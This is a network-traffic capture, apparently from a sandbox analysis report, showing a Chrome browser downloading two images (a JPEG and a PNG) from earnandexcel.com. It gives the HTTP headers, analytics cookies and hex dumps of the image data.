2024-04-11 21:26:50 UTC	1266	OUT	GET /wp-content/uploads/VBA-For-Professionals-11.jpg HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
2024-04-11 21:26:50 UTC	905	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:50 GMT Content-Type: image/jpeg Content-Length: 60023 Connection: close CF-Ray: 872e0ea39d894337-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60dff775-ea77" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Sat, 03 Jul 2021 05:36:53 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F%2FJc0Y6MwNKlyL8AbAW9AvxcaWHB4bOWxMpxIZs8F2wujGfROX2pjxeQVIoF79Lxd4LuZCqCS9SXIsE6P0%2FEMw2s2s4N05jGbYBBDUWwARdWA%2BYAEBglf1EnwWzWf1E7pPI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 02 02 02 02 02 02 02 02 02 02 02 03 03 03 03 03 03 03 03 03 03 ff db 00 43 01 01 01 01 01 01 01 02 01 01 02 02 02 01 02 02 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 ff c2 00 11 08 01 5e 01 5e 03 01 11 00 02 11 01 03 11 01 ff c4 00 1e 00 00 00 06 03 01 01 00 00 00 00 00 00 00 00 00 00 00 04 05 06 07 08 02 03 09 01 0a ff c4 00 1b 01 00 02 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 04 02 03 05 01 06 07 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 ef e0 00 Data Ascii: JFIFCC^^
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 5c 39 38 9c 5e f9 dd 67 2e 8a 6d 5b 5a 2f 50 aa e3 75 da a1 d9 b1 ec 8a 7d 94 f3 65 e5 6a a6 82 0c d3 b8 66 bc e6 c8 72 c7 d0 f5 6c a5 ed 33 e4 87 d5 19 44 e0 f5 b4 2d 5f 56 ee 2e d7 96 99 9e cf 30 74 00 02 90 29 d3 f6 72 ae dd 59 87 17 4b a1 59 7d 80 9a e7 2a f5 68 89 f5 70 11 7d 1a 09 ec a3 b6 be ec 84 64 8a a9 74 d4 39 94 69 66 8e 61 4b 05 ef aa 47 51 b9 21 07 ed 16 73 b6 c9 1b 97 68 bc f1 25 88 d4 5a e8 69 b6 b6 b6 ac 2a 76 9a 50 f4 a8 aa f4 ca ad 49 99 6e bd a8 85 3d 89 19 42 39 5f 27 76 71 b7 3b 66 5a be eb 29 b9 e6 fb 9d a9 e7 4c c4 c8 00 11 a0 e2 2e fd 94 e2 57 37 f3 65 d9 4c cb 26 7a 2e 5b 60 e3 66 ae 2d 38 f6 4a 24 5e a6 fb 6b 50 85 92 32 96 39 eb e9 9e 2b ba a8 98 a7 4e 47 21 2b a2 ea c6 76 8d a2 41 8b 45 99 25 4a ba ae e0 6e b0 bf 2d 21 cb b5 Data Ascii: \98^g.m[Z/Pu}ejfrl3D-_V.0t)rYKY}hp}dt9ifaKGQ!sh%ZivPIn=B9_'vq;fZ)L.W7eL&z.[`f-8J$^kP29+NG!+vAE%Jn-!
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 48 dd ce 77 e8 d3 5a fd 65 37 29 da 2a 27 57 a1 1b b5 13 94 ee 92 3c ef 9e a7 9a 91 d4 57 29 72 a1 a9 b6 67 c7 fb 77 2e 77 5d 9a d9 6a 0d aa 7f 55 0e 19 7a 44 29 87 af 40 cb 79 64 d6 e6 bc 17 2f ee 76 92 0c ee b2 4c d6 ec 49 93 14 0e ca 7a b5 d9 38 ca 94 88 6d b4 c9 89 33 2c ea 14 bb 28 e5 b6 99 4d f2 cd 68 a8 c5 84 ab 34 21 41 c7 ff 00 19 6b 61 d6 d8 f3 ca 57 a7 68 e5 36 b5 d2 56 ad 2f e9 26 a4 2c 8f 0b a5 ec 4b fa 27 94 a5 de fa 1e 11 99 f3 60 42 d9 6f 45 3e 3b de 9e 41 87 d6 96 66 57 ae 7b 5f 2f 81 fe 91 1a d9 ec f3 0c 39 96 96 b4 48 e5 b7 64 f3 75 25 aa ed b0 37 41 f6 b3 2f 38 0a ab 8e 6e f0 f9 5e 82 8d f3 e9 2b 6c 63 d8 48 f3 1e 8b dd 51 9c 61 b4 f2 3b 24 ab 12 0c 3e ea 76 4d aa fa cd 9a 41 19 c4 7d 7c 52 ed 5a f7 ab 6e 08 b4 a9 9f 7d a8 4d be 4f ab Data Ascii: HwZe7)*'W<W)rgw.w]jUzD)@yd/vLIz8m3,(Mh4!AkaWh6V/&,K'`BoE>;AfW{_/9Hdu%7A/8n^+lcHQa;$>vMA}\|RZn}MO
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 31 89 a1 78 70 58 95 96 b3 75 9d 6e ca ce 71 6d 29 c4 ff 00 4f e7 50 2a 44 fd 2b 77 08 e7 65 43 c0 da 19 80 00 00 00 00 00 00 00 0f 00 9f 46 d5 b0 49 b1 33 76 2b a1 88 63 c9 78 bd f9 76 e4 ea 5d 6d a0 cb 65 a4 a0 76 aa 6b 5f 9a 81 68 27 6b 69 ce 44 7b 0a da 27 f3 74 a2 ed 7f c6 f5 48 18 5b 33 ce 0e 8d df 4a d4 0a b9 1a 72 54 bb 61 5e 3b ef 62 22 a7 57 72 aa 5f b1 bd 89 c0 dc 00 00 00 00 00 00 00 00 00 00 f0 31 02 d2 e2 0d c9 36 ee 4b 6b 70 d0 73 1e 4b 18 cf 35 5e 24 ab ac 89 f2 28 65 58 b2 d4 d9 d7 05 2d eb 07 5a 15 6f d2 e6 db 0d 7c 49 c7 ce df 18 63 7a 78 4f cf 6d b9 f1 99 b0 74 da da 2e 69 12 6a 3a 9f 2d 5e 47 ba 4a f3 a6 95 77 de 06 83 30 00 00 00 00 00 00 00 00 00 00 01 c3 c0 2d 65 08 17 a2 9b 75 05 2d a9 3a ea 13 78 1e a9 83 83 69 bd 6e 0f 8a b0 dd Data Ascii: 1xpXunqm)OP*D+weCFI3v+cxv]mevk_h'kiD{'tH[3JrTa^;b"Wr_16KkpsK5^$(eX-Zo\|IczxOmt.ij:-^GJw0-eu-:xin
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 36 1b 4e c7 81 ce 54 e5 1f 8d 67 6c ee 30 83 4d a2 9d 67 17 51 d4 fd c4 c8 ba a5 30 a3 c5 81 16 0b 13 8c e3 fb 5c e1 dd f8 b4 23 e1 a8 bc 10 32 08 be 6b 48 eb b9 9c 0a 3c ff 00 b5 17 f6 fd 92 96 a1 d3 ce da f6 44 8e 19 29 90 62 1b d6 34 ce 71 18 85 c3 47 23 f0 72 67 b4 aa 4b 03 3b d5 2c 41 c6 7b 48 18 a2 51 29 24 4b 36 56 df 4f 66 5e 55 c5 b9 15 a5 34 ca e5 eb dd 63 aa a3 e1 d4 ca b5 3d 26 c3 79 ad e6 a1 e7 4a e8 d1 aa 3c bb e3 86 c3 93 f5 11 e3 88 8d ac fa 8d d5 2c 6e 98 fe ec e7 e3 fa d7 1c b9 d1 17 08 46 37 25 cf 14 78 e1 f3 15 70 01 b8 5b fe ad 7d dd 9d 5d 16 2b f1 f5 68 45 81 43 ee cf 5f 5f 1a aa 25 ac e3 7a e3 72 77 15 8f 22 24 e2 fa d5 96 11 98 a6 96 84 78 e6 45 c4 97 1a 34 77 d8 c2 98 c8 a3 f4 9c f2 ab 16 0c a4 45 73 a1 b9 24 7a c3 53 3e 64 b7 5b Data Ascii: 6NTgl0MgQ0\#2kH<D)b4qG#rgK;,A{HQ)$K6VOf^U4c=&yJ<,nF7%xp[}]+hEC__%zrw"$xE4wEs$zS>d[
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 9d c1 2a 0a 68 05 df 75 ca cb 48 c4 09 18 41 56 92 5c 9d 72 a9 21 c4 1b 55 11 9f 18 b2 fa 65 bd ed 90 f3 f5 fd 83 bc 2d da 4c 3c 85 e4 58 a5 4a dd 9e ae 53 5b 3c 06 79 15 3b 2f 1d 5c c6 f4 bc 23 1a 0d 82 2f 6a f5 1b 9b 61 b8 e9 f0 aa 2a f4 6d 4f 4d 3f 8b 64 39 92 87 23 c7 73 1b 26 c3 5b 9d 52 5a 69 80 04 9f 1b 79 22 a2 f6 12 bd 1b 8d e5 33 8e 3e df 53 76 ab 2b 6c ab 88 61 8f 4d f4 1a ea 72 91 c0 0b 51 a2 e3 94 d9 c8 81 d7 1c 56 2e 3d c8 e5 e5 cd 6f b9 57 1b c0 f0 fd 78 e1 a2 3c d2 cb 19 e1 37 df 7a 91 36 a8 ed 88 fa 48 84 2c 8a f1 f5 03 59 f8 aa 2a 2c a6 b1 31 ed 02 e3 03 09 d9 3a 9a a4 99 75 ad 1f a4 62 df 55 bb 5e dc cf 1c a2 bf 67 0c b3 61 32 6d e0 00 93 36 1a e2 3b 66 b0 ae 75 55 a0 07 eb 43 9a 1b 5d 57 c5 9b 0d 94 09 7e ff 00 dc bd 4a 81 c7 28 e4 3d Data Ascii: huHAV\r!Ue-L<XJS[<y;/\#/jamOM?d9#s&[RZiy"3>Sv+laMrQV.=oWx<7z6H,Y*,1:ubU^ga2m6;fuUC]W~J(=
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 2a f7 2e df 97 6f c9 7e 5c 01 39 5f 48 c2 0a b7 5f 8a e7 9a c6 22 c0 0c 32 b5 e1 67 05 68 9b ce 2b 15 ab d7 96 7c f2 2f c7 2e 24 b0 79 2e d0 4e 25 71 21 48 48 ac af 23 0f ae 43 98 2d af 4c 96 17 16 b8 c2 61 9a 4a a9 95 96 a5 78 c9 34 7e d2 a6 f2 49 ac a7 74 89 5b 67 34 bb 1d dd 4d 64 78 95 10 75 eb a9 07 aa d3 3a 38 9f a4 d0 42 bc f3 3d 48 49 b6 ee c5 de 65 fd 3c 9a c2 6a 7d de 88 ad 95 11 f1 4b e9 3d 5a 03 11 a8 22 23 b1 7a 39 be 79 98 39 7b ab 7e 09 fe d2 62 a7 cc 01 c8 53 1e b4 91 e2 eb 30 3a 3f 64 8f ee 2a 21 99 8d 70 9d 91 ca c1 98 8f fc 9a fe 11 08 d7 39 d2 00 89 32 3f bf 58 5a 35 4b 82 5d 21 18 f8 f5 91 06 57 d7 02 53 a7 52 5a b0 36 f3 a6 40 1c 6f fa f3 63 c6 50 25 1e 9c 6d aa 30 bc 2f 2e 39 2b 7c 7c 46 06 5e a5 18 1b c0 ab eb a1 3b aa b7 37 ef 27 Data Ascii: .o~\9_H_"2gh+\|/.$y.N%q!HH#C-LaJx4~It[g4Mdxu:8B=HIe<j}K=Z"#z9y9{~bS0:?d!p92?XZ5K]!WSRZ6@ocP%m0/.9+\|\|F^;7'
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: f6 43 a3 9a fb 34 e5 64 f2 a8 a5 54 73 dc ab 96 93 58 21 c9 b3 96 1b 3a 0d e6 35 a2 9d ab 9b 1c 45 2a 37 85 75 4c 82 c5 94 fd b7 8c 2e ca ae c2 5e 2b 96 d6 e0 85 82 1a 2b 4b ed 8f c3 ff 00 4f 75 1a 5e 75 5e 51 8e 45 e3 f8 0f 62 3b 0f 1b 9c 6b 7a b1 cc e7 1c 27 26 70 ee 58 ee 33 e0 99 20 48 66 da 00 cc 43 fc 34 e5 6b 5d 22 62 b5 9e b3 5f 61 b1 ea b5 d6 80 0e ad 3c 16 e0 8c da e8 c5 13 0c 09 f1 81 15 52 4c 86 39 08 57 27 a6 44 46 89 88 9a f7 8d ad f6 66 69 de 3b d5 f4 81 a7 e5 89 fc 47 c7 1b 95 c0 e3 1e 98 41 ae 13 bb 31 af 5e 3d 44 73 65 46 1c 96 5d ea ea e0 d8 21 06 79 85 ee a7 42 23 e9 6e 86 e1 34 91 d5 ad 38 a4 a2 83 b6 42 d6 61 cb 90 90 e1 15 b2 75 ad 7a 52 8f c7 10 26 2e bb e2 ea aa c3 30 43 63 7a a6 2b 11 73 8f e2 f1 8f 0a 13 1f 15 f8 78 ef 4c 2b 78 Data Ascii: C4dTsX!:5E*7uL.^++KOu^u^QEb;kz'&pX3 HfC4k]"b_a<RL9W'DFfi;GA1^=DseF]!yB#n48BauzR&.0Ccz+sxL+x
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 92 94 e3 2e 4d d8 e4 56 6e 62 ae 52 36 b5 2e 4a e0 fb 2b ad e3 25 6b 6f 66 e4 29 2e cd e9 0d a6 f2 4e 2d f4 78 13 64 e9 92 e1 f6 4f 4d 63 e8 f0 a5 1e cc b4 8a a6 d9 a7 c9 5c 5e 0b 34 57 4a 39 45 ba 2b b2 57 a4 bd 76 68 68 b2 39 dc 5f 03 5f 54 b6 f9 3e 62 50 cf 99 75 fa 60 23 7e d1 59 fe 45 61 6c ff 00 a6 d1 3f a1 32 7f 30 d0 a1 c1 1a fd 87 0c 72 58 da 21 3c 32 bb 0e 77 15 74 53 d0 be 09 ff 00 81 c8 4f 04 5e 44 c9 65 b2 49 8e 39 fb 8a bc fd ca e8 c1 45 78 2a 48 5c c3 03 af 7b 2b d0 ee 2b d0 ec 35 3a 5f 29 ac ab 05 f0 51 b5 fb 0f bf d1 01 13 e4 49 91 4c b3 e4 25 d1 32 7f 31 15 c1 0a ca e9 c9 6e 9f ca 5b 4b 3c 26 88 45 91 a5 fa 95 50 ff 00 82 ba 1a fb 0a ac 0e 38 25 c1 94 26 45 e3 94 6e 3b 36 9e 17 a9 0a 79 14 12 44 64 85 6e 08 eb 21 d7 aa ec 8e aa 0a 46 97 Data Ascii: .MVnbR6.J+%kof).N-xdOMc\^4WJ9E+Wvhh9__T>bPu`#~YEal?20rX!<2wtSO^DeI9Ex*H\{++5:_)QIL%21n[K<&EP8%&En;6yDdn!F
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: ad bc 90 13 e4 c9 15 91 44 fc be 79 23 56 d2 31 c2 c9 15 99 67 fc 11 8f 09 4b 9c 32 db 36 ac 23 5b 6e 20 e3 ef fa 29 cd 72 58 3f 08 b7 7a 4b d0 ba 11 50 dd ff 00 21 e1 93 ad 33 51 0d af 26 a6 c9 6d 78 2c b2 5d 1b a4 d9 16 52 51 14 c7 4a fb 93 ad 43 a1 cc f1 07 6f 1c 0e c6 fb 14 f2 79 5f dc e1 15 c5 4b b2 1a 78 3e c7 a4 af 66 4d ae 23 72 5c 21 c5 b1 d6 b1 91 ce 51 7c 1a 5d d3 6b 26 8f 41 55 f3 f3 9f e8 fa 7f 61 fe 1d a7 81 f9 1a 50 ab dd 5a 9a f2 fd 09 63 19 44 e7 24 f2 42 d7 92 57 ca 3d 16 6a ac 91 6d b3 96 57 fc 5f e8 4f 93 f0 3b 94 56 dc f2 99 65 9b ab 33 86 49 fb 9a 86 6a 5f 95 96 ac 9b 39 2a a8 aa 9c 94 d4 d7 23 45 e4 89 4b 03 98 e7 96 46 62 91 92 a7 86 55 2c 9d c7 04 a8 25 48 ea f5 35 11 59 c0 b4 fb de 0d 1e 99 a6 8f c3 ea c4 91 2a d6 1e 3b 24 92 5b Data Ascii: Dy#V1gK26#[n )rX?zKP!3Q&mx,]RQJCoy_Kx>fM#r\!Q\|]k&AUaPZcD$BW=jmW_O;Ve3Ij_9#EKFbU,%H5Y;$[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
176	192.168.2.17	49924	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:50 UTC	1013	OUT	GET /wp-content/uploads/BARCLAYS.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
2024-04-11 21:26:50 UTC	907	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:50 GMT Content-Type: image/png Content-Length: 6482 Connection: close CF-Ray: 872e0ea41acb1875-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df330f-1952" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:55 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ECnr0OcWZYaAIzHwYsED5PsJ7tu40hTA%2B2FapzQ3hSuoTQmcbu000oqlg%2FUTB01QB%2FFS1oZ9BnkiGyv4FlhvQ%2FnFQbx5b20yd6NnSIQQUYUbeiMt5%2F2LoeJGYoNxBZofXdQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:50 UTC	462	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 cd 00 00 00 3f 08 06 00 00 00 43 e6 4c 7b 00 00 19 19 49 44 41 54 78 da ec 98 c7 6b 5c 31 10 c6 f3 87 e6 98 4b 42 0e 81 f4 de 7b ef bd 5e 42 42 1a c6 36 b8 61 8c 0d ee bd 1e 6c 63 83 7b ef dd 9e f0 13 7c 20 84 df ee da 3e 78 0f fa 40 bc b7 7a 9a d1 cc a7 99 91 b4 07 2c 22 22 62 47 38 60 11 11 11 31 69 22 22 62 d2 44 44 64 11 62 d2 44 44 c4 a4 89 88 88 49 13 11 91 55 88 49 13 11 11 93 26 22 22 26 4d 44 44 56 21 26 4d 44 44 4c 9a 88 88 98 34 11 11 59 85 98 34 11 11 d9 98 34 4b 4b 4b b6 b2 b2 62 60 75 75 d5 16 17 17 0d 6c 6c 6c d8 d6 d6 96 81 f5 f5 75 5b 5e 5e b6 b5 b5 35 53 bf c0 3b 2d 04 32 e8 46 a7 3f 76 73 73 d3 a4 7f 7e 7e 5e 7a d5 0f 78 a7 0f bb 90 49 6c a1 3e 7f 2e e4 f5 c4 16 8d f3 e7 90 df b2 Data Ascii: PNGIHDR?CL{IDATxk\1KB{^BB6alc{\| >x@z,""bG8`1i""bDDdbDDIUI&""&MDDV!&MDDL4Y44KKKb`uulllu[^^5S;-2F?vss~~^zxIl>.
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: f9 bf 5d 7f 62 a2 a8 30 65 02 ed da 82 57 ec e4 97 f8 0f 75 8a 43 f1 b2 dd da 84 6b 26 6e 68 1a 17 fa 11 26 8e 78 0e 8b 69 76 1e cf 26 27 27 31 4e 86 bb 60 99 99 99 b1 e1 e1 61 9b 98 98 c0 78 3f d8 32 ad 6e 7e 25 de cb 8e 80 6c ba 96 b8 0b 0a 4a 56 bf aa e1 67 68 af e0 05 cf 5e 17 51 72 e1 5c 2a 48 be 8f 19 e9 da 05 74 54 4e 75 12 11 67 e1 37 b8 4a 67 cf 6e 4e 14 fc 0e e3 23 e4 20 3b 92 46 86 fa d5 53 18 18 18 b0 82 82 02 fb f9 f3 a7 7d fd fa d5 de bc 79 63 2f 5f be b4 ea ea 6a dd 73 9c 9c 9c 5f 58 58 b0 d9 d9 59 fa 48 26 dd 8d f4 5d f7 a0 54 b6 a8 da 48 86 e6 ef 42 c8 67 92 30 3c 53 56 49 d9 97 04 05 b0 2a 2e fe d2 b4 90 34 7d 53 d3 0e 99 06 be 2c fa 68 49 72 8c c1 4e 1a ef aa ee f0 2a 39 cd 9d 69 12 c9 7f d6 4b fe 68 e7 d1 1c 49 f7 d3 70 47 13 4f db 16 Data Ascii: ]b0eWuCk&nh&xiv&''1N`ax?2n~%lJVgh^Qr\HtTNug7JgnN# ;FS}yc/_js_XXYH&]THBg0<SVI.4}S,hIrN*9iKhIpGO
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 0f 32 31 77 7d e2 e3 95 2b 57 5e ce 76 f7 ee 5d 73 a0 e0 22 d1 aa e8 47 47 62 b0 c7 fd 94 54 9e ea 6c 0e f7 ef df 7f 25 2a 69 68 c7 4b fc c0 4b e7 ab 57 af 82 60 8d 3b 65 01 72 31 4a 06 6e 9e e6 55 c4 c4 23 7c c0 3f 8e 01 3f f0 80 be ec a0 df cd 9b 37 f1 60 27 ef bf ff fe fb e5 ed db b7 4f 5f 08 20 d4 87 0f 1f 52 50 42 e3 45 28 81 49 8a 22 45 19 0c 21 a4 04 2c 8c 63 b4 f3 0e 87 d7 78 02 d7 64 38 26 fa d9 67 9f 11 68 21 3c dc 3c 61 1a 26 25 04 fd a3 21 d8 e7 80 e7 09 2b 8f 88 89 bc 16 03 0f 8e 54 95 59 73 12 b8 1c fc 20 1c 87 fe 19 bd fb cd 31 28 d6 39 9a 66 f5 8e 73 a0 48 60 05 c1 32 18 fd fa 0d 9d 20 19 87 83 2e 7c 74 ad 39 83 12 af d0 f3 e4 c9 13 f3 e4 04 d0 42 51 c1 3f 30 66 56 c3 76 e7 17 2f 5e 88 28 78 c9 40 67 e5 0c 44 45 0b 2f 6c 5e 64 01 19 1c 6d Data Ascii: 21w}+W^v]s"GGbTl%*ihKKW`;er1JnU#\|??7`'O_ RPBE(I"E!,cxd8&gh!<<a&%!+TYs 1(9fsH`2 .\|t9BQ?0fVv/^(x@gDE/l^dm
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 8a 39 28 48 de ac c4 95 77 aa fa 63 92 14 10 83 c1 0e 78 9d b1 fc f1 c7 1f 8c 65 67 00 df 7e fb ed cb 0f 3e f8 80 62 ad 24 b4 af 4b 94 c3 64 0a 60 cc 22 8a 43 ff 41 40 74 f2 ce 97 6e e3 d0 60 68 fd 88 74 60 50 38 19 ee 26 68 0a 4e e9 5c c3 40 b5 56 d8 a7 67 15 e5 18 0b 1a 28 3c 05 a1 a0 f2 30 06 5c f4 71 98 b7 6b 8d a1 cd c2 84 39 56 c4 58 15 63 85 3f 15 22 d6 d6 fe 30 87 c8 8d 26 3c c3 27 91 6d cd 67 e2 cb 9a 07 3c 78 f0 00 3f c9 08 1d 94 19 ad 22 42 89 7d 3c af 2a b6 46 e3 f8 24 9a b7 ce 82 37 95 ae e9 03 83 61 1c eb 56 ad fa d2 b7 6b 8d 67 1e 20 ad fb 5b eb 22 6b 63 ac 8f 33 9c 76 9d 46 28 e5 f1 4c d6 19 a1 8c c3 44 4c 80 80 5b 91 2f 8f 31 29 c6 43 c9 83 67 a2 8d 89 52 1a 30 8d a2 f2 62 fe 16 6d 3e fa e8 23 0a 6f cc 04 39 b7 82 f3 7a fa ae d8 40 70 c6 Data Ascii: 9(Hwcxeg~>b$Kd`"CA@tn`ht`P8&hN\@Vg(<0\qk9VXc?"0&<'mg<x?"B}<*F$7aVkg ["kc3vF(LDL[/1)CgR0bm>#o9z@p
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: e5 70 f4 5d 72 ce 21 45 cb 5a 60 28 8a 56 36 c6 e3 35 d2 cd 6a 9e 3c 28 b9 ee 2d e2 68 f2 40 34 a0 d9 f8 e8 26 6b 50 ef a4 eb 34 6b e9 8f 50 2d 70 f1 96 20 15 ef 2b c1 9d bb 50 33 1a c9 be e8 22 77 91 1b f0 ba 18 f6 c3 0f 3f a8 46 ed 84 fa f6 db 6f 9b f4 64 ca 4c 0c 31 2c a3 a1 e4 ae 05 99 32 82 b9 90 d6 de ad f9 f4 a8 f1 ac 09 f4 d2 0c 46 82 6e f4 51 80 b5 1a 25 31 9d b9 01 43 af b8 a0 bf b9 4b b8 eb 18 00 85 70 9d 43 f2 dc fd c1 37 f0 0c 5f 38 9d 8a 06 68 6e dc 60 70 e5 69 30 c6 98 a0 5e b0 b5 31 57 6f 9e e7 a5 68 8c 5a bf 8c 26 a8 c9 90 7b 8c 23 a3 29 47 48 49 dd 87 6e c6 8d 86 22 41 af 50 72 44 6f 51 89 c2 b6 da cf 70 ca 6b ba ae b9 b9 97 fc 2b a7 e3 bf bc b1 7e a6 b1 84 06 e8 97 2a de dc 7f b8 2f aa 32 6e 34 94 c3 92 2f 5e 9c ee c9 cd 12 b4 26 6e db Data Ascii: p]r!EZ`(V65j<(-h@4&kP4kP-p +P3"w?FodL1,2FnQ%1CKpC7_8hn`pi0^1WohZ&{#)GHIn"APrDoQpk+~*/2n4/^&n
2024-04-11 21:26:50 UTC	544	IN	Data Raw: cf 60 2b be 98 23 be c9 59 18 b0 ad 43 20 14 63 c9 b0 e7 2a 3c 85 05 7d 7b c5 55 f4 ca 21 1d 3e e3 83 fc 08 ad 9c 8c eb cc 0d 9f 7a b1 fc d1 fc 71 2f 27 84 bf 78 a1 8f d9 8c c7 90 d1 63 7c 3c 42 53 f2 0e 0a 8f d6 0b f0 e9 08 5a f1 45 94 e6 14 cd 9d a1 e0 53 51 3c be ea 2f bd 39 8d d1 c0 e0 b5 55 30 35 44 12 24 c3 c9 50 44 16 fb c9 18 8b 02 00 c3 a1 1c 26 5e eb d5 3c a3 9f 0c b2 d6 75 ed 81 5b 1f be ea 38 f8 b6 c7 f6 4c 1d 68 47 c1 8f 49 d3 fa 39 63 a7 64 b5 92 60 67 c7 6c 93 96 0c 63 ce 93 82 f4 5d 86 3a 5a 8e eb ff 81 d9 97 45 f5 a2 d4 bf e1 cf 2c 17 77 0e 21 e8 af 45 c6 f5 ed 98 eb 8e 81 ee bf 68 a7 43 ef ca ab 2a e7 98 bc ca 50 ce e3 5f 6d 10 64 93 48 39 22 7a c5 ed aa 19 4a cb 1f 7e f8 a1 6d 32 60 1a 23 92 1c 4e c1 63 c0 45 82 5d d7 4e 12 ea 0a 43 1c Data Ascii: `+#YC c<}{U!>zq/'xc\|<BSZESQ</9U05D$PD&^<u[8LhGI9cd`glc]:ZE,w!EhCP_mdH9"zJ~m2`#NcE]NC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
177	192.168.2.17	49925	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
